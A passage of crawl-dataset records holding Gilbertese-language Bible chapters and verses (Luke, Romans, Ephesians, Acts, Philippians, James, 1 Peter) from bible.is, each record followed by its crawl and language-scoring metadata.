kairaki ana iango Timeon iroun te Taamnei, ao e nako n te umwantabu; ao ngke a rin ana karo te teei are Iesu bwa a na karaoa ibukina kanoan te tua n ai aron are e tataneiai te aba iai, 28ao e anaa te teei Timeon ni bwabwakoia, ao e katituaraoa te Atua ni kaangai, 29Te Uea, kariaia ngkai bwa e na nako am toro ma te rau, n ai aron am taeka; 30Bwa a a tia matau n noora am kamaiu 31Ae Ko katauraoia bwa a na nooria aomata nako, 32Ae te oota are e na kaota nanom nakoia bootanaomata ake tiaki Iteraera, ao e na uota karineaia am aomata ake Iteraera. 33Ao a miimii tamana ma tinana ni baike a taekinaki ibukina; 34ao e taetae Timeon ni kakabwaiaia ao e taku nakoni Nei Maria are tinana, Noria, e na riki te teei aei bwa bwaini kamaunaaia ao kamaiuaia aika a bati i buakoia Iteraera, ao te kanikina are a na taetae n eekia nako aomata aika bati. 35ao ngkoe ane ko na rootaki naba n te rawaawata, bwa a bane ni kaotaki aia iango aika raba. 36Ao iai te buraabeti ae Nei Ana, are natini Bwanuera ae kaain te baronga are Atera; e a kara, ao e a tia n tekateka ma buuna i nanon itiua te ririki ma ngke a moa n iein. 37E a tia ni mate buuna, ao wanibwi ma aua ana ririki ni maiu. 38E nako neiei n tei i rarikin Iotebwa ma Nei Maria n te aoa naba arei, ao e katituaraoa te Atua, ao e tataekina aron te teei nakoia aomata ni kabaneia ake a kaantaninga kamaiuaia Iteraera. 39Ngke a a tia ni karaoi bwaai ni kabane ake a kaeti ma taekan ana tua te Uea, ao a oki nako Kariraia, nakon aia kaawa are Natareta. 40Ao E rikirake te teei n ikawai ao ni marurung rabwatana; E on n te wanawana, ao E meemena i aona ana kakabwaia te Atua. 41Ni katoa ririki ao a aki toki ana karo n naanako Ierutarem ni kaea te Toa are te Riao. 42Ao ngke tebwi ma uoua ana ririki Iesu, ao a nako Ierutarem ni kaea te Toa n ai aron are a tataneiai iai; 43ao ngke e a bane bongin te Toa, ngke a oki, ao E tiku te teei are Iesu i mwiia i Ierutarem, ao a aki ataia ana karo. 44A taku bwa E mena i buakoia raoia ni mwananga, ma ngaia are a nakonako teuana aia bong ni kakaaea i buakoia aia buu ma raoia nako; 45ao ngke a aki nooria, ao a manga okira Ierutarem ni kakaaea iai. 46Ao i mwiin tenibong ao a nooria n te umwantabu bwa E tekateka i buakoia taan reirei. 47E ongoraa irouia, ao E titirakiniia; ao ake a ongo irouna a miimii n rabakauna ma ana kaeka titiraki. 48Ngke a nooria ana karo, ao a miimii. E taku tinana nakoina, Natiu, e aera ngkai Ko karaoa aei nakoira? Noria, I a bora ma tamam ni kakaaeko. 49Ao Ngaia E kaangai nakoia, E aera bwa kam na kakaaeai? Kam aki ataia ae I riai ni mena n ana auti Tamau? 50Ma a aki ataa nanon te baere E taekinna nakoia. 51Ao E airi ma ngaiia ao a roko i Natareta, ao E ongeaaba nakoia; e tau mwiini baikai ni kabane tinana i nanona. 52E rikirake rabwatan Iesu ma rabakauna, ao ai arona naba ma taatangirana iroun te Atua ao irouia aomata.\nRUKA 2","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/2","date":"2014-03-09T01:12:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999669442\/warc\/CC-MAIN-20140305060749-00093-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1268,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.468,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2Bwa ngkana e rin n ami bootaki te aomata ae e burenibainna n te burenibai ae te koora, ao e kunnikainna n te kunnikai ae e tamaaroa, ao ngkana e rin naba te aomata ae e aki kaubwai ma kunnikaina ae e buaakaka;\nIAKOBO 2:2\nFREE!\nOne App.\n1350 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/2\/2","date":"2014-03-14T10:33:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678692742\/warc\/CC-MAIN-20140313024452-00095-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":48,"character_repetition_ratio":0.115,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.521,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I atonga te koaua; I aki kewe ibukina bwa ana aomata Kristo ngai, ao e buokai mataniwiin nanou are e kairaki iroun te Taamnei are e Raoiroi, ni kakoauaai naba bwa I aki kewe: 2bwa e bati rawaawatau ma korakain nanou ae e aki konaa n toki. 3Ao e bia reke kaiu, ma ni karaureaki ma Kristo i bukiia tariu ake au buu n te katei n aomata; 4ake Iteraera, ake a tabekaki iroun te Atua bwa natina, ake E kaota mimitongina nakoia, ao E karaoi taiani booraraoi ma ngaiia; E anganiia te Tua, ao e reeke irouia te aro n taromaurini koaua, ma taeka n akoi, 5ao a riki mai irouia bakatibu; ao Kristo, ngkai bon te aomata Ngaia, boni kaain aia bootanaomata. Ao te Atua are e tau-taeka i aoni bwaai ni kabane, ana bwai te neboaki n aki toki. Amene. 6Tiaki bwa aongkoa iai aki nako raoin te taeka n akoi; e a tia ni koro nanona, bwa tiaki Iteraera ni kabaneia aika ana aomata ni koaua te Atua; 7ao ana kariki Aberaam tiaki naba natin te Atua ngaiia ni kabaneia, bwa E kaangai te Atua nakon Aberaam, A na atongaki ana kariki Itaaka bwa am kariki. 8Na nona ngkanne bwa naati ake a bungiaki n te rabwata tiaki natin te Atua; ma naati ake a bungiaki bwa kakoroan nanon te taeka n aakoi a atongaki bwa ana kariki ni koaua Aberaam. 9Bwa aei te taeka n akoi: N te tai naba aei ao N na roko ao e na reke natin Tara te mwaane. 10Ao tiaki ti ngaia, ma e riki naba ae aron aei nakon Rebeka ngke e bikoukou iroun temanna, are Itaaka are ara bakatibu; 11bwa ngke a tuai ni bungiaki natina, ngke a tuai ni karaoa ae e raoiroi ke ae e buaakaka, ao e kaangai te taeka nakoina, E na toro te karimoa iroun te karimwi. E taekina aei bwa e na kaotaki iai arona n rinea te nati ae temanna bwa e nako man oin ana kaantaninga; 12ma ngaia are ana rinerine te Atua e nako man arona ni weewete ao tiaki man te mwakuri are a karaoia. 13N ai aron are e koreaki ni kaangai: I tangira Iakobwa, ma I ribaa Etau. 14Ao tera ngkanne ae ti na taekinna? E aki eti aron te Atua? Tiaki ngaia anne! 15Bwa E kaangai nakoni Mote, N na aakoa ane I kan aakoia, ao N na nanoangaaea ane I kan nanoangaia. 16Ma ngaia ae ana rinerine te Atua e boboto i aon ti nanona n nanoanga, ma tiaki i aon aron te aomata bwa tera are e tangiria ke e karaoia. 17Bwa E kaangai te Atua nakoni Bwarao n te Baibara, I karikiko n uea ibukin aei: bwa N na kaota mwaakau iroum, ao bwa e aonga n ataaki arau i aonnaba ni bane. 18Ma ngaia ae E nanoangaea ae E kan nanoangaia te Atua, ao E kamatoatoaa nanon ane E kani kamatoatoaa. 19Ane ko na titirakinai iai ngkanne ni kaangai, Ao e aera te Atua ngkae E aki toki ni kakaaea kaairuan te aomata? Bwa antai ae e tuuka nanona? 20Nao! Antai ngkoe bwa ko na kaekaa te Atua? Iai riain te bwai ae e karaoaki man te bokaboka bwa e na kaekaa te aomata are e karaoia ni kaangai, E aera ngkai ko karaoai n arou aei? 21Akea ana riai te tia karaoi bwaai man te bokaboka bwa e na karaoa te boora ae e katamaaroaaki ma te boora ae akea katamaaroaana man ti teuana te bwariko ni bokaboka? 22Ao bon ti te bo naba ma are E a tia ni karaoia te Atua. E kani kaota unna ma mwaakana n ekiia nako ake a bon riai mateia. Ma E aki, bwa te bae E karaoia E taotaona nanona nakoia, 23n arona ngke E kaota aron neboakina ngke E nanoangaiia aomata ake E a tia n rineiia bwa a na reke naba tibwangaia n neboakina. 24Bwa I-Iutaia ngaira ke tiaki, ma boni ngaira te koraki ake a weteaki; 25n ai aron ana taeka are e kaangai n te boki are Otea: N na atongiia ake tiaki au aomata bwa au aomata; Ao are e aki tangiraki bwa e tangiraki. 26Ao n te tabo are e taekinaki iai ae e kaangai nakoia: Tiaki au aomata ngkami; ao a na atongaki naba iai bwa natin te Atua ae e maiu. 27Ao Itaia e taekiniia Iteraera ni kaangai, Ai aron tanon te bike i rarikin taari mwaitiia natin Iteraera, ma ti tabeman mai buakoia aika a na kamaiuaki; 28bwa ane E na karaoa nako aon te aba te baere E a tia ni motikia bwa E na karaoia. 29Ao e taku naba Itaia, Ngke arona bwa te Uea are Moan te Mwaaka. E aki kamaiuiia tabemwaang mai buakoia ara koraki, ao ti na kaman tia ni kamaunaaki, n ai aroni kaawa ake Totom ma Komora. 30Ao tera ae ti na taekinna ngkanne? Bon aei: bwa aomata aika tiaki I-Iutaia, aika akea aia kekeiaki ni kaeti aroia n reitaki ma te Atua, a kunea bwa e konaa n reke irouia kaetan aroia n reitaki ma Ngaia n te onimaki; 31ma te bootanaomata ae Iteraera, ake a ukoukora te tua are e na kaeta aroia n reitaki ma te Atua, e bon tuai n reke irouia. 32Bwa e aera? I bukina bwa a aki kataia ni karekea ni kawain te onimaki, ma a kataia ni karaoia ri nanon te tua. A reke waeia n te atiibu ni katatatata ao a tatanako iai; 33n ai aron are e koreaki ni kaangai: Noria, I kawenea i Tion te atiibu ae a na reke waeia iai aomata, ao a na bwaka; ao ane e onimakinna ao e na aki kamaamaeaki.\nROM 9","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/9","date":"2014-03-16T20:57:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678703748\/warc\/CC-MAIN-20140313024503-00079-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":952,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.462,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 1:2626Ma ngaia are E katikuiia te Atua nakon aroia ni kaitaataan aika a bubuaka: bwa aia aine a onea aroia n iraorao ma mwaane are e riai ao a iraorao ma raoia n aine; Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/1\/26","date":"2014-03-07T08:36:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999638008\/warc\/CC-MAIN-20140305060718-00012-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":0.9999982119,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 0.9999982118606567}","num_words":50,"character_repetition_ratio":0.024,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae ngai ae Bwauro, ae ana aomata Kristo Iesu ae E kabureaki i bukimi ngkami aika tiaki I-Iutaia, 2—tao kam a bon tia n ongo bwa E a tia te Atua n ana aakoi n anganai te nakoa aei i bukimi; 3bwa e kaotaki nako iu te baere e raba n te kaotioti, n ai aron are I a tia ni korea taekana ni kauarerekea nakoimi; 4bwa ngkana kam wareki, ao kam konaa iai n ataa au atatai n ana bwai ae e raba Iesu, 5are e aki kaotaki nakoia natiia aomata n rooro ake ngkoangkoa, n ai arona ngkae e kaotaki ngkai iroun te Taamnei nakoia ana tia tuatua aika a tabu ma ana buraabeti aika a tabu naba; 6te kaantaninga n te baere e raba aei: bwa a na raoniia Iteraera ni bwaibwai aomata aika tiaki I-Iutaia, ma n riki bwa te rabwata ae ti teuana ma ngaiia, ao bwa a na reke tibwangaia n te taeka n aakoi ngkai a reitaki ma Kristo Iesu n te euangkerio; 7are I riki bwa te tia mwakuri ngkai iai, n ai aron te bwai n tituaraoi are ana aakoi te Atua, are I anganaki ni mwamwakurini mwaakana. 8I anganaki, ngai ae moan te mangori i buakoia ake a itiaki ni kabaneia, te mwakuri ae e kakaawaki aei, ae te tataekina nakoia aomata aika tiaki I-Iutaia taekan aroni Kristo aika a kamiimii, aika a kaangaanga aroia ni kuneaki, 9ao te kaota nakoia aomata ni kabaneia aroni mwakurian te baere e raba, are e karabaaki ma ngkoangkoa iroun te Atua are e kariki bwaai ni kabane; 10bwa e aonga ni kaotaki n te ekaretia rabakaun te Atua ae a bati arona nakoia ueea ma ake a korakora i karawa, 11n ai aron nanona ma ngkoangkoa are E kakoroa irouni Kristo Iesu are ara Uea. 12Ngkai ti reitaki ma Kristo, ao ngkai ti onimakinna, ao ti ninikoria ni kawara te Atua ma te aki nanokokoraki. 13Ma ngaia ae I buubuti bwa a na tai bwara nanomi n rawaawatau i bukimi, bwa bon ibukini kamoamoaami. 14I bukin aei ao I katorobubua nakon Tamara, 15are a reke mai irouna araia utu ni kabane ake i karawa ma ake i aon te aba; ao I tataro 16bwa E na anganingkami mani kaubwain arona aika a kamiimii, te mwaaka iroun Taamneina bwa kam aonga ni kakorakoraaki n nanomi; 17bwa E na maeka Kristo i nanomi ibukin ami onimaki, ao bwa a na iai wakaami ma aami n te tangira, 18bwa e aonga n iai iroumi ma ake a itiaki ni kabaneia te konaa n ataa raababan, ma anaun, ma nanon, ma rietan ana tangira Kristo, 19bwa e aonga naba n iai iroumi te konaa n ataa tangirami irouni Kristo, are e aki konaaki n ataaki raoi arona, bwa a aonga ni kaonaki maiumi n anuan te Atua ni kabane. 20Ao nakon Teuare e konaa ni karaoi bwaai aika moan te bati aika a mwaiti riki nakoni bwaai aika ti buubuti ma n ururing, n ai aron te mwaaka ae e mwamwakuri i nanora: 21ana bwai te neboaki n te ekaretia ao irouni Kristo Iesu man te rorona nakon te rorona ao n aki tootoki. Amene.\nEBETO 3","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Eph\/3","date":"2014-03-08T04:56:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999653202\/warc\/CC-MAIN-20140305060733-00086-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":531,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.467,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 1:44ma ni maiuna n taamnei are e reitaki ma te Atua, ao E kaotia te Atua n te aro ae e mwaaka bwa bon Natina ngke E a manga kamaiua mai buakoia maate. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/1\/4","date":"2014-03-12T12:03:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394021758120\/warc\/CC-MAIN-20140305121558-00028-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":0.9999492168,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 0.9999492168426514}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.347,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1A ongo taan tuatua ma taari ake a mena i Iutaia, bwa a a tia naba aomata ake tiaki I-Iutaia ni butimwaaea i nanoia ana taeka te Atua. 2Ngke e nako Ierutarem Betero, ao e kauntaeka ma te koraki n I-Iutaia ake a tangiriia aomata ake tiaki I-Iutaia bwa a na koroberoaki. 3A kaangai, Ko kawariia aomata ake a aki koroberoaki, ao ko amwarake ma ngaiia. 4E karaki ngkanne Betero, ao e karaua n rarangai taekan te baere e riki ni moa mai moana, ao aei ana taeka: 5Ngke I mena n te kaawa are Iobe, ao I tataro; ao kaanga ai aron ae I kamiiaki: I noora te bwai teuana ae kaanga ai aron taraan te kunnikai ae e abwaabwaki ae e nnaaki rikaaki ni maninganingana ake aua mai karawa, ao e toki i rarikiu. 6Ngke I karaua n taraia, ao I nooriia manin aonnaba aika kakaeai waeia, ma maan aika a aki manana, ma maan aika a kawakawa, ma mannikiba. 7Ao I ongo te bwanaa ae e kaangainakoiu, Betero, tei rake; tiring ao kaang. 8Ma I taku, Te Uea, I aki kona, bwa bon akea te bwai teuana ae e aki itiaki ke ae e kamwaraa ae e a tia n rin i wiiu. 9Ma e a manga taetae naba te bwanaa arei mai karawa ao e kaangai, Ane E kaitiakia te Atua, ao ko na aki atongnga bwa e aki itiaki. 10Tenua ana tai n roko te baerei, ao a manga bane n irakeaki bwaai akekei nako karawa. 11Ao nooria, n te tai naba arei ao a roko teniman te aomata n te auti are I mena iai; a kanakoakinakoiu mai Kaitareia. 12E tuangai te Taamnei bwa N na iriia n aki nanokokoraki. A irai naba taari aika onoman aikai, ao ti nako n rin n ana auti Korenerio; 13ao ngaia e tuangiira arona ngke e noora te anera bwa e tei i nanon ana auti, ao e kaangai, Kanakoa temanna nako Iobe, bwa e na kaoa Timon, are arana teuana Betero; 14e na taetaenakoim n taeka ake ko na kamaiuaki iai, ma am utu ni kabaneia. 15Ao ngke I moana au kakarabakau, ao E roko i aoia te Taamnei n aron are e a tia n rikinakoira rimoa. 16Ao I uringa ana taeka te Uea ngke E kaangai, E boni bwabwaabetiito Ioane n te ran, ma ane kam na bwaabetitooaki n te Taamnei are e Raoiroi. 17Ma ngaia are ngkana a anganaki aomata aika tiaki I-Iutaia te bwai n tituaraoi iroun te Atua, ae ti te bo arona ma are E anganiira, ngke ti onimakina te Uea are Iesu Kristo, ao antai ngai bwa N na tuuka te Atua? 18Ngke a ongo baikekei, ao e toki aia kauntaeka; ao a karaoiroa te Atua, ni kaangai: E anganiia naba aomata aika tiaki I-Iutaia te Atua rairan te nano nakon te maiu. 19A kamaaeaki nako taan onimaki n tain te bwainikiriinaki are e mate iai Tetebano. Iai ake a nako n toki i Boinike, ao i Kubero, ao i Antioka, ao a tataekina ana taeka te Atua nakoia ti I-Iutaia. 20Ma iai taan onimaki temwaangina aika I-Kubero, ao I-Kurene, ake a nako Antioka ao a tataekina te Uea are Iesu nakoia I-Erene naba. 21A buokaki ni mwaakan te Uea, ao a onimaki aomata aika a bati, ao a rairaki nakon te Uea. 22A ongo taekaia uaakekei kaain te ekaretia i Ierutarem, ma ngaia are a kanakoa Bwarenaba bwa e na nako Antioka. 23Ngke e roko ao e noora aron ana aakoi te Atua nakoia, ao e kimwaareirei; ao e kaungai nanoia ni kabane bwa a na nim ma te Uea ma nanoia ni koaua. 24Bwa te aomata ae e raoiroi Bwarenaba, ao e on n te Taamnei are e Raoiroi, ao bon te tia onimaki ni koaua. Ao a bati aomata ake a tibwa onimakina te Uea. 25E nako ngkanne Bwarenaba nako Tareto bwa e na ukoukora Tauro iai; 26ao ngke e reke irouna, ao e kairia nako Antioka. Teuana aia ririki ni bobootaki ma kaain te ekaretia ikekei, ao a reireia aomata aika a bati. Antioka bon te tabo are a moa n atongaki iai taan onimaki bwa Kristian. 27Ni boong akekei ao a roko i Antioka buraabeti mai Ierutarem. 28E tei rake temanna irouia ae arana Akabo, ao e taetae ni mwaakan te Taamnei bwa e na roko te rongo ae e korakora i aonnaba ni bane; ao e koro bukin aei n ana tai n uea Keraurio. 29A reke nanoia taan onimaki i Antioka bwa a na kanakoa aia buoka n aron are e konaa n reke iroun temanna ma temanna, nakoia taari ake a maeka i Iutaia. 30A boni karaoia, ao a angani Bwarenaba ma Tauro bwa a na nako n nikiri irouia unimwaane.\nMWAKURI 11","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/11","date":"2014-03-16T23:24:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678704059\/warc\/CC-MAIN-20140313024504-00047-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":791,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.459,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Te kabane ngkanne, tariu, kam na kimwaareirei ngkai kam katiteuanaaki ma te Uea. Tiaki te bae e kakua irou te kaoki taekani baike I a tia ni koroi, ma e boongana i bukimi. 2Kam na kaawakiningkami mai irouia te koraki aika a karaoi baika a bubuaka, aika te koraki aika ai aroia kamea, aika a tangira te rabwata bwa e na kaikoakaki ni korokoreaki. 3Bwa boni ngaira ma ngkami kaain ni koaua te koroberoaki, aika a ti taromauriia te Atua iroun Taamneina, ma ni kamoamoaa irouni Kristo Iesu, ao ti aki onimakina te rabwata, 4e boni ngae ngke boni ngai naba ae I onimakina te rabwata. Ngkana e taku temanna bwa te tia onimakina te rabwata ngaia, ao I a moamoa riki ngai: 5I koroberoaki n te kawanibong, ao te Iteraera ngai n rikiu, ao kaain te baronga are Beniamin, ao te Ebera mai irouia Ebera; ao n reitaki ma te Tua, bon te Bwaritaio ngai; 6n reitaki ma nanou n tauaninne ngkoa ibukin te Atua, ao I bwainikiriina te ekaretia; ao n reitaki ma karaoan nanon te Atua are e taekinaki n te Tua, ao I iri nanoia ni kabane. 7Ma bwaai ake I taku bwa a kakaawaki, ao I a atong ngkai bwa akea boonganaia ibukini Kristo. 8Tiaki ti baikai aika I taku bwa akea boonganaia, ma I atongi bwaai ni kabane bwa akea boonganaia ibukin te bwai ae moanibaan te boongana riki, are e ataakini Kristo Iesu are ara Uea, are I kabuaa au bwai ni kabane ibukina, ao I atongi bwa maange, bwa E aonga n reke irou boonganan arou ngkai ana aomata Kristo ngai, 9ao I aonga n nooraki n arou n reitaki ma Ngaia, bwa e aki reke kaetan arou n reitaki ma te Atua n te Tua, ma e reke n onimakinani Kristo; kaetan arou aei boni mai iroun te Atua, ao e reke ibukin te onimaki. 10Bwa N na ataa Iesu ma te mwaaka are E a manga kamaiuaki iai, ma ni maraki n ai arona ni maraki, ao n riki n ai arona ni matena, 11ma te kaantaninga bwa N na boni kamaiuaki man te mate nakon te maiu. 12I aki taku bwa e a tia n reke irou are I uaiakinna, ao I aki taku bwa I a kororaoi n te raoiroi. Ma I kakorakoraai ni biri bwa I aonga n taua te kaniwanga, bwa ngaia aei bukin are E karikai iai Kristo Iesu bwa ana bwai. 13Taari, I aki taku bwa I a tia n tauua; ma te bwai teuana ae I karaoia, I mwanuokini baika i mwiiu, ao I kabanea korakorau bwa N na katiai baika N na karaoi nakon taai aika a na roko. 14Mangaia are I kabirimwaakaai nakon te tia bwa n na karekea te kaniwanga, are bon ana weewete te Atua i nanon Iesu nakon te maiu are i karawa. 15Ma ngaia aei, bwa ngaira ni kabane aika ti a ikawai i nanon te maiu n onimaki, ti na bwaina te nano ae ti te arona; ao ngkana iai i buakomi aika a bwaina te nano ae e kaokoro, ao E na kaota naba aei te Atua nakoimi. 16Ma ae ti a roko iai, ao ti na nakonako iai n te kawai naba anne. 17Taari, kam na kakairi irou, ao kam na kamwatau taraaia te koraki ake a karaoa are ti karaoia i bukimi bwa te banna ni kakairi. 18Bwa a bati aomata, ake I aki toki n taekiniia ngkoa nakoimi ao I a manga taekiniia naba ngkai ma rannimatau aika a waa nako: bwa kairiribai ngaiia ni maiuia nakon ana kaibangaki Kristo. 19Bon te mate tokiia, ao a atuani birotoia; a kamoamoaiia ni baika a riai ni maamaa iai, ao ti te iangoi bwain aon te aba. 20Bwa I-Karawa ngaira, aika ti kakariariaa te Tia Kamaiu, are te Uea are Iesu Kristo bwa E na roko mai karawa; 21are E na oniki rabwatara aika a mangori, bwa a na riki n ai aron rabwatana ae E mimitong, ni kaboonganaan te mwaaka are E konaa iai n tauu taekani bwaai ni kabane.\nBIRIBI 3","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Phil\/3","date":"2014-03-07T20:15:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999650775\/warc\/CC-MAIN-20140305060730-00070-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":678,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.49,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mai irouni Betero, ae ana tia tuatua Iesu Kristo, nakoia akana a rineaki akana iruwa akana a uamaae i Bonto, ao i Karatia, ao i Kabatokia, ao i Atia, ao i Bitunia, 2akana rineaki n ai aron nanon ma ana baaire ma ngkoangkoa te Atua ae te Tama, ao a katabuaki maiuia iroun 469 te Taamnei bwa ana bwai te Atua, bwa kam na ongeaaba iroun Iesu Kristo ma ni kaitiakaki n raraana. A na kabatiaaki nakoimi te aakoi ma te raoi. 3E na karaoiroaki te Atua ae Taman ara Uea are Iesu Kristo, bwa man ana nanoanga ae e bati ao ti a anganaki te maiu ae e boou ma te kaantaninga ae e nene ni manga-maiun Iesu Kristo man te mate; 4bwa a aonga n reke bwaai aika a kaawakinaki i bukira, aika a bwaai aika aki konaa ni mka, aika aki kamwaraa, aika aki konaa n rai, aika a kaawakinaki i karawa i bukimi, 5ngkami aika a kam kaawakinaki ni mwaakan te Atua n te onimaki, ibukin te kamaiuaki ae e tauraoi ni kaotaki n te kabanea n tai. 6Kam na kimwaareirei n te baei, e boni ngae n riai iroumi bwa kam na rawaawata i nanon tabeua te tai ibukini kataakimi aika a bati aroia; 7bwa e aonga n riki kataan ami onimaki—ae e kakaawaki riki nakon te koora ae e kai mauna are e boni kataaki naba n te ai bwa ua ra—bwa kamoamoaami ma neboami ma karineami ngkana E a manga oki Iesu Kristo, 8are kam tuai n nooria, ma kam tangiria naba; are kam aki nooria ngkai, ma kam onimakinna naba, ao kam kimwaareirei n te kimwaareirei ae e rangi ni bati ae e aki konaaki ni kabwaraaki arona n taian taeka; 9ao e reke iroumi mwiin ami onimaki, ae kamaiuani maiumi. 10Ao buraabeti ake a taetae ni buraabeti ibukin te aakoi are e na riki bwa ami bwai a kakorakoraia n ukoukora ma n nenera aron te kamaiu aei. 11A kataia ni kakaaea bwa antai te aomata, ao te tai ra ake a kaotaki iroun Taamnein Kristo are e mena i nanoia ngke E taekini baikai i mwaain rikiia, aika marakini Kristo ake E na taonaki iai, ao te neboaki are E na bwainna i mwiini maraki akanne. 12E kaotaki nakoia buraabeti akanne bwa a aki taekini baikai i bukiia, ma a taekin i bukimi, aika baika a taekinaki ngkai nakoimi irouia ake a tuangkami te euangkerio iroun te Taamnei are e Raoiroi are e kanakomaiakaki mai karawa; aika baika a kan atai naba anera. 13Ma ngaia ae kam na tatauraoi n ami iango nako; kam na kamarurungingkami, ao kam na teimatoa ni kaantaninga te aakoi are e na uotaki nakoimi ngkana E a manga oki Iesu Kristo. 14Ngkai naati aika a ongeaaba ngkami, ao a na tai kairaki maiumi n iangon nanomi aika a bubuaka ake iai iroumi ngkoa ngke kam roo n nano; 15ma kam na itiaki n aroaromi ni maeka ni kabane i matan te Atua, ni kakairi iroun Teuare e itiaki are e weteingkami. 16Bwa e koreaki ae e kaangai, Kam na itiaki bwa I itiaki Ngai. 17Ao ngkana kam atonga Teuare e motiki-taekaia aomata nako bwa Tamami n ami tataro, are Teuare E aki nanonano bwa E motika taekan te aomata ni kaeti ma aron te baere e karaoia, ao kam na kabane ami bongi ni maiu i aon te aba aei ni maaku. 18Kam ataingkami bwa kam aki kainaomataaki ni baika a kai mauna, ae te tirewa ma te koora, man aromi nikawai ae akea manenana, ae kam anganaki mai irouia ami bakatibu; 19ma kam kainaomataaki n te raraa ae e kakaawaki ae raraani Kristo, are e kaanga ai aron te tiibuteteei ae akea buaakakana ao akea baarekana. 20E a kaman rineaki n ai aron nanon ma ana baaire ma ngkoangkoa te Atua ngke a tuai ni karikaki bwaai, ma E a kaotaki ni boong aikai aika kabaneani boong i bukimi, 21ngkami akana kam onimakina te Atua irouna, ae E a manga kamaiua mai buakoia maate, ao E anganna te neboaki; bwa a aonga n tiku ami onimaki ma ami kaantaninga iroun te Atua. 22Ngkai kam a tia ni kaitiaki maiumi n ami ongeaaba nakon te koaua, ao kam a tia ni bwaina te tangira ni koaua i bukiia raomi ni Kristian, ao kam na kakorakoraingkami n i tangitangiri ma nanomi ni koaua. 23Bwa n ana taeka te Atua, ae te taeka ae e maiu ae e teimatoa, ao ai aron ae kam a manga bungiaki, tiaki mai iroun te karo ae e maamate, ma mai iroun te karo ae e aki maamate. 24Bwa e kaangai te Baibara: Kanga te uteute aomata ni kabaneia, ao tamaaroaia ni bane kaanga ai aron ueen te uteute. E rai te uteute, ao e bwaka te ue; 25ma ana taeka te 